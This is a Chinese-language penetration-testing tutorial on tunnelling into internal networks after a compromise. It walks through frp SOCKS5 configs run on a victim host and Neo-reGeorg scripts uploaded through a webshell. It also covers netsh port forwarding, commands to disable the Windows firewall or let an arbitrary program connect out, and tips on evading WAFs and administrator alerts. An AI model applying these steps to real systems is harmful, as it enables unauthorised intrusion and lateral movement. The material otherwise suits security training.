18.socks代理(frp、reGeorg、netsh)


一、利用frp进行加密内网穿透

 

 

1、FRP简介:

简单来说,frp就是正经的内网穿透工具,被不正经的人用来从事不正经的活动。目前就使用体验来说,frp 的代理网络比cobalt strike的socks4a好用一些。

项目地址:https://github.com/fatedier/frp

 

2、FRP的下载于安装:

https://github.com/fatedier/frp/releases 这个是作者自己编译好的文件,根据我们自己的系统下载响应版本的程序即可,注意:

由于该程序的功能较多,并且是Golang打包的二进制文件,所以文件体积会比较大,在实战环境中可以先用UPX(https://github.com/upx/upx/releases)压缩壳,压缩后再使用。

压缩后frp文件的体积只有原来的四分之一:

Upx.exe -9 frpc.exe

Upx.exe -9 frps.exe

 

 

 

3、FRP建立socks5代理:

 

①服务器【Windows端】,IP:192.168.100.50

Frps.ini文件内容:

 

[common]

bind_addr = 0.0.0.0

bind_port = 7000    //frp server端监听一个端口,等待frp client的连接

 

 

 

然后执行frps.exe -c frps.ini ,如果是linux就是./frps -c ./frps.ini

 

 

 

②目标(受害者)机器【Windows端】

Frpc.ini文件内容:

 

[common]

server_addr = 192.168.100.50    //frp server的IP

server_port = 7000             //frp server上开放的端口,就是frpc.ini中写的端口

tsl_enable = ture

pool_count = 5

 

[plugin_socks]

type = tcp

remote_port = 1080            //会让server端在vps开启1080端口,以供socks5服务

plugin = socks5

plugin_user = 111              //socks5接入时的账号

plugin_passwd = 111           //socks5接入时的密码

use_encryption = ture          //加密数据

use_compression = ture        //压缩数据

 

 

 

然后执行frpc.exe -c frpc.ini ,如果是linux就是./frpc -c ./frpc.ini

 

 

 

③用代理服务器连接即可,注意填写,frpc.ini中设置的账号密码:

 

 

 

 

 

二、利用reGeorg建立http加密代理

 

 

1、reGeorg简介:

在拿到webshell之后,如果发现无法提权也无法执行命令,只能停留在web层面,如果不做web的权限维持,那就只能选择内网渗透了,抓紧时间了解内网的整体情况。因此在web层面也是可以代理的,方法就是利用脚本去复用http端口。

reGeorg是一款基于web的代理工具,我们可以通过它将脚本上传到目标web服务器后进行访问,从而跟客户端配合建立Socks服务。该代理工具于2014年被公开于BlackHat,其前身是2008年SensePost在BlackHat USA 2008的reDuh延伸于扩展,可以看看:https://www.blackhat.com/eu-14/arsenal.html#regeorg

 

2、reGeorg的使用:

客户端需要安装一些python包,报错就自行安装,一般是urllib3的包,pip install urllib3即可。

项目地址:https://github.com/sensepost/reGeorg

 

3、reGeorg的弊端:

因为很多人使用,所以一般waf都会将它列入查杀的对象,检测流量和脚本特征。

 

4、Neo-reGeorg简介:

  Neo-reGeorg是reGeorg的重构项目,至今还在更新,并且与reGeorg的用法非常相似,相较于reGeorg它有一下几点优势:

  ①添加了连接密码

  ②将传输过程进行加密的同时避免特征检测(原本的reGeorg是明文的)

  ③支持更多的格式

  https://github.com/L-codes/Neo-reGeorg

 

5、Neo-reGeorg的代理:

 

  ①生成脚本:

  Python3 neoreg.py generate -k <连接密码> -o <指定输出目录>

 

 

 

  

 

 

  ②上传脚本

  生成后,挑一个能在客户端执行的脚本上传

  

  ③执行脚本

  执行脚本后会自动生成一个socks5代理的1080端口给我们使用,我们也可以在命令后面加上-p <端口>和-I <IP>来更换。

 

 

 

  连接代理成功,流量将从本机的1080端口转发到内网主机上

 

 

  ④用proxifier等工具连接即可

 

 

 

然后配置一下代理规则,让其选择通过192.168.109.*这个地址段,也可以选择任意端口任意地址,也可以代理本地的mstsc.exe等等,根据自己的需求来。

 

 

当然,我们也可以直接在火狐浏览器开代理:

 

 

 

 

  Neo-reGeorg还有许多高级用法,例如伪装成404页面等等,可以去https://github.com/L-codes/Neo-reGeorg/blob/master/README.md 看看。

 

 

三、利用系统自带的netsh进行内网转发

 

 

1、netsh简介:

Netsh是一款自带的高级网络配置管理器,利用它可以轻松的管理本地或者远程机器的Windows防火墙及各类系统网络配置。它一开始是为了让运维更加舒服的工具,后面被渗透老手发现了没被用来从事渗透活动,成为一个既没有进程又较被杀的转发工具。

 

2、使用场景:

邮件服务器10.10.10.6只能被FTP服务器访问,而FTP 没有开启防火墙,那么我们就可以利用netsh让FTP服务器监听一个端口,然后把该端口的数据转发到其他机器的某个端口(例如转发到邮件服务器10.10.10.6的443端口)

 

 

Netsh的用法跟LCX的-tran参数一样,所以我们可以在FTP服务器(192.168.1.128)上使用netsh,然后在web服务器(192.168.2.3)上使用lcx转发或者建立一个反向的socks代理到我们的VPS上即可。

即:Hacker ==> Socks ==> 192.168.1.128:8443 -->10.10.10.6:443

 

netsh interface portproxy add v4tov4 listenaddress=192.168.1.128 listenport=8443 connectaddress=192.168.1.4 connectport=443

 

 

 

 

此时我们只要在192.168.2.3建立一个反向的socks代理规则后,访问FTP服务器的192.168.1.128的8443端口,就能访问邮件服务器的web了。

 

Ⅰ  显示所有netsh端口转发规则:

netsh interface portproxy show v4tov4

 

 

 

Ⅱ  删除某条规则

netsh interface portproxy delete v4tov4 listenaddress=192.168.1.128 listenport=8443

 

 

 

四、netsh在渗透中应用【防火墙】

 

 

1、netsh在渗透中的应用【防火墙】:

其实Netsh不仅仅被用来做端口转发的工具,还有很多功能可以用于渗透当中。

 

2、用于获取基础信息:

   

① 查看IP配置信息:

Netsh interface ip show config

 

② 开/关网卡:

Netsh int set int name=”ethernet” admin=enabled

Netsh int set int name=”ethernet” admin=disabled

 

③ 设置本机IP、子网掩码、网关IP:

Netsh interface ip set address “local area connection” static 192.168.1.2 255.255.255.0 192.168.1.1

 

3、控制系统防火墙——开关防火墙:

 

    ① 关闭防火墙:

    Netsh advfirewall set allprofiles state off      //全部关闭

Netsh firewall set opmode mode=disable    //会有公用网络的不关闭

 

② 开启防火墙:

Netsh advfirewall set allprofiles state on      //全部开启

Netsh firewall set opmode mode=enable     //会有公用网络的不关闭

 

③ 查看所有防火墙规则:

Netsh advfirewall firewall show rule name=all

 

④ 查看当前防火墙状态:

Netsh advfirewall show currentprofile

 

4、配置防火墙规则

Netsh advfirewall firewall add rule name="Block Ports" protocol=TCP dir=out remoteport=80 action=block

新建一条名为:Block Ports的规则,该规则的作用是拦截远程访问80端口的一切基于TCP协议的连接

Name:规则名称(取⼀个描述性的名字)

Protecol:要阻⽌的协议(⼤部分是UDP或TCP)

Dir:阻⽌的⽅向。可以是IN或OUT

Remote Port:要阻⽌的⽬标主机的端口

Action:可以是阻⽌或允许。在本例中,我们要阻⽌连接。

 

也可以用netsh advfirewall firewall add rule ?看一下用法

 

 

 

实例:

 

①  新建⼀条名为:Test,允许数据从443端口进来基于TCP协议的规则

Netsh advfirewall firewall add rule name=test protocol=TCP dir=IN localport=443 action=allow

②  新建⼀条名为:Test,禁⽌ICMP出去的规则

Netsh advfirewall firewall add rule name=test protocol=ICMPv4 dir=OUT action=block

Netsh advfirewall firewall add rule name=test protocol=ICMPv6 dir=OUT action=block

③  新建⼀条名为:Test,禁⽌数据去往8443,443端口TCP协议的规则

Netsh advfirewall firewall add rule name=test protocol=TCP remoteport=8443,443 dir=OUT action=block

④  新建⼀条名为:Test,只允许192.168.2.2和192.168.2.3访问本机HTTP端口80的规则

Netsh advfirewall firewall add rule name=test protocol=TCP dir=IN remoteip=192.168.2.2,192.168.2.3 localport=80 action=allow

⑤  新建⼀条名为:Test,允许c:\1.exe该程序进⾏任何出⽹请求的规则

Netsh advfirewall firewall add rule name=test program="c:\1.exe" DIR=out action=allow

⑥  删除⼀条名为:Test,允许c:\1.exe该程序进⾏任何出⽹请求的规则

Netsh advfirewall firewall delete rule name=test program="c:\1.exe" DIR=out

⑦  删除命名为Test的所有规则

Netsh advfirewall firewall delete rule name="Test"

 

可以实现一个名字,多条规则

 

最后,关闭防火请需要谨慎,在大型机构内,系统防火墙会被外部防火墙监控着的,有关闭改动的情况是会提醒管理员的,特别是关键部位的机器,普通机器可能风险小一些。因此能不动防火墙就不动,能新增就不要关闭。

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM